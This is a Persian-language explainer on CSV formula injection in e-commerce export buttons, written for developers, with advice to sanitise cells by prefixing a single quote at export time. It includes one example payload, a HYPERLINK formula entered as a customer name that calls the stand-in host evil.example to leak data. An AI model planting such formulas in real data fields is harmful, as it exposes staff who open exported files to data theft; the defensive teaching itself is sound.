تزریق CSV: دکمه خروجی که کد اجرا میکند
مشتری نام خود را وارد میکند. آنها تایپ میکنند =HYPERLINK("http://evil.example/leak", "click"). سیستم شما آن را میپذیرد. به نظر متن ساده میآید.
هفتهها بعد، تیم مالی شما لیست مشتریان را به صورت CSV خروجی میگیرد. آنها فایل را در Excel باز میکنند. آن سلول دیگر متن نیست؛ بلکه یک فرمول است.
این تزریق CSV است. همچنین به آن تزریق فرمول (formula injection) نیز میگویند. این یک باگ رایج در پنلهای تجارت الکترونیک است. اکثر تیمها آن را تست نمیکنند.
برنامههای صفحهگسترده (Spreadsheet) با هر سلول به عنوان متن برخورد نمیکنند. اگر سلولی با =, +, -, یا @ شروع شود، Excel یا Google Sheets آن را به عنوان یک فرمول میخواند.
یک فرمول میتواند کارهای بیشتری از ریاضیات انجام دهد. میتواند یک URL بسازد. میتواند به یک شبکه متصل شود. در برخی موارد، میتواند دستوراتی را روی یک کامپیوتر اجرا کند.
دادهها در پایگاه داده شما به صورت متن باقی میمانند. اما لحظهای که یک انسان فایل را باز میکند، به کد قابل اجرا تبدیل میشوند. معمولاً قربانی، یکی از کارکنانی است که سطح دسترسی بالایی دارد.
هر جا که دادههای کاربر را خروجی میگیرید، در معرض خطر هستید:
- خروجی نام و آدرس مشتریان
- جدول سفارشات که به CSV خروجی گرفته میشود
- فیدهای محصول از فروشندگان
- دادههای فرمهای تماس
مهاجم نیازی به دسترسی ادمین ندارد. آنها نام خود را به صورت یک فرمول تنظیم میکنند و منتظر میمانند.
سعی نکنید این مشکل را در مرحله اعتبارسنجی ورودی (input validation) حل کنید. تا زمانی که یک برنامه صفحهگسترده آن را نخواند، آن مقدار یک متن مشروع است. در عوض، هنگام نوشتن فایل CSV، دادهها را پاکسازی (sanitize) کنید.
اگر سلولی با =, +, -, @ یا یک Tab یا Carriage Return شروع شد، یک علامت تککوت (') به ابتدای آن اضافه کنید.
منطق نمونه:
اگر مقدار با یک کاراکتر محرک شروع شد، "'" + value را برگردانید.
علامت تککوت به برنامه صفحهگسترده میگوید که با آن سلول به عنوان متن برخورد کند. برنامه صفحهگسترده، آن کوت را از کاربر مخفی میکند. قبل از اینکه هر فیلدی وارد فایل شود، آن را از این بررسی عبور دهید.
دادهها را در پایگاه داده خود escape نکنید. آن مقدار در پایگاه داده و در HTML شما مشکلی ندارد. این مقدار فقط در یک فایل CSV خطرناک است. مرز CSV را محافظت کنید تا دادههای شما در جاهای دیگر تمیز باقی بماند.
به خروجیهای داخلی خود اعتماد نکنید. مهاجمان از طریق این فایلها کارکنان شما را هدف قرار میدهند.
تزریق CSV هشدارهای ترسناک اسکنرها را فعال نمیکند. این باگ در همان دکمه خروجی که سالها پیش ساختهاید، پنهان شده است. همین حالا کد خروجی CSV خود را بررسی کنید. اگر از اولین کاراکتر هر سلول محافظت نکنید، در معرض خطر هستید.
